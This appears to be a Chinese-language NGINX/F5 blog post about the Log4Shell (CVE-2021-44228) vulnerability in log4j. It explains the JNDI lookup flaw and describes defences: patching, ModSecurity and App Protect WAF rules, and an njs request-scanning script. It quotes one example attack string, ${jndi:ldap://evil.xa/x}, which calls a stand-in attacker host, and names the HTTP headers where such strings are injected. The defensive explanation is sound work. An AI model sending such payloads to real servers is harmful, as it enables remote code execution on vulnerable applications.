2021 年 12 月 10 日（星期五）将被全球众多 IT 人员所铭记。这一天，在备受欢迎的 Java 应用日志库 log4j中发现了一个非常严重的零日漏洞。针对该漏洞的攻击很快被命名为“Log4Shell”，各个公司，无论规模大小，都纷纷匆忙实施各种缓解措施。然后随之而来的是持续的修补马拉松，在本文撰写时仍在进行。
NGINX 和 F5 已经就威胁态势进行了分析，我们将在本文中提供多种缓解选项来帮助您保护应用。
log4j 库的版本 2.15 及更早版本容易受到 CVE-2021-44228中所述的远程代码执行 (RCE) 漏洞的影响。（log4j 的版本 2.16修复了该漏洞。）Log4Shell 是指针对该漏洞的攻击行为。但是，这一漏洞是什么呢？为何它如此重要？如 CVE 中所述，Apache log4j Java 库未能正确地对输入进行验证。
log4j 库与 Java 运行时包含的 Java 命名和目录接口 (JNDI) 这一特性可用于执行远程查找，这样就可以从外部数据源获取数据（例如从 LDAP 获取用户名或从 DNS 获取 IP 地址），然后再将其加入某个日志条目中。然而，远程攻击者会趁机劫持 JNDI 来执行其编写的 Java 代码。下图形象地展示了攻击过程。
来源：瑞士政府计算机应急响应小组
要攻击包含漏洞的目标，攻击者必须诱骗应用代码编写一个包含像${jndi:ldap://evil.xa/x}这样的字符串的日志条目。一个有趣的问题是：将这样的字符串放在何处，才可以保证它最终会出现在日志消息中呢？对于许多应用而言，日志很重要，会针对每个入向请求记录大量不同信息，包括HTTP 标头中像是User-Agent和X-Forwarded-For这样的字段、请求的URI 及请求正文。攻击向量有很多，只要 log4j 日志库记录了攻击者的字符串，该应用就可能会受到 Log4Shell 攻击。
完全不会。NGINX 本身不会受到这一漏洞攻击的影响，因为它采用 C 语言编写而成，没有使用 Java 或任何基于 Java 的库。有关所有 F5 和 NGINX 的产品针对 CVE-2021-44228的官方回应，请参阅 AskF5 知识库中的文章:（链接这里☞https://support.f5.com/csp/article/K19026212）
如上所述，攻击者必须将用于攻击的字符串插在 HTTP 请求中某个位置，并发送给目标应用。NGINX 提供了多种用于扫描入向请求的工具，以便识别入侵迹象 (IOC) 并进行拦截。
拦截恶意请求的最有效方法就是使用 Web 应用防火墙 (WAF)。它会扫描每个入向请求，将请求数据和一组预编译的规则进行对比，从而检测 CVE-2021-44228的入侵迹象。然而，在出现零日漏洞后，更新 WAF 规则就像是打一场军备竞赛。一旦有了针对某一特定攻击方式的 WAF 规则，攻击者便会寻找可以绕过该 WAF 的技巧和模式。因此，请务必确保您的 WAF 规则是最新的版本。
NGINX ModSecurity WAF
ModSecurity是一种开源 WAF，也作为 NGINX 的商用产品提供。OWASP ModSecurity 核心规则集 (CRS) 已经包括了能够减缓 Log4Shell 的规则 (932130)。想要进一步了解该解决方案以及更高级的应用防护，请参阅 CRS 博客：（链接这里☞https://coreruleset.org/20211213/crs-and-log4j-log4shell-cve-2021-44228/）
NGINXApp Protect WAF
NGINX App Protect WAF是一款针对现代应用的安全解决方案。基于对Log4Shell这一威胁和绕过 WAF 的已知方式的持续调查，我们已经在 NGINX App Protect WAF 的服务器端代码注入签名集中添加了新的规则，从而有效地检测 Log4Shell 攻击。欲了解更多详情，请参阅 AskF5 知识库：（链接这里☞https://support.f5.com/csp/article/K19026212#proc1 ）
作为反向代理的 NGINX 和 NGINX Plus被广泛地部署在许多基于 Java 的应用的前端。对于无法访问 WAF 的用户和客户，我们使用 NGINX JavaScript 模块 (njs) 创建了一个脚本。该脚本能够扫描入向请求中的 HTTP 标头、URI 及请求正文，利用已知的 IOC 字符串和正则表达式来匹配输入数据并拦截恶意请求。
点击文末“阅读原文”立即免费获取该njs脚本。有关安装 njs 模块的说明，请参阅 NGINX Plus 管理者指南：（链接这里☞https://docs.nginx.com/nginx/admin-guide/dynamic-modules/nginscript/）
应对 Log4Shell 的最有效的解决方案是使用 log4j 版本 2.16或更高版本修补应用代码，因为它们都禁用了 JDNI。
如果这个方案无法立即实施，在您在有时间应用log4j的补丁前，您可采用 WAF 有效减缓威胁程度。
如果您尚未部署 WAF，则可使用我们的 njs 脚本实施针对Log4Shell的特定防护，从而有效抵御威胁。
微信公众号
新浪微博
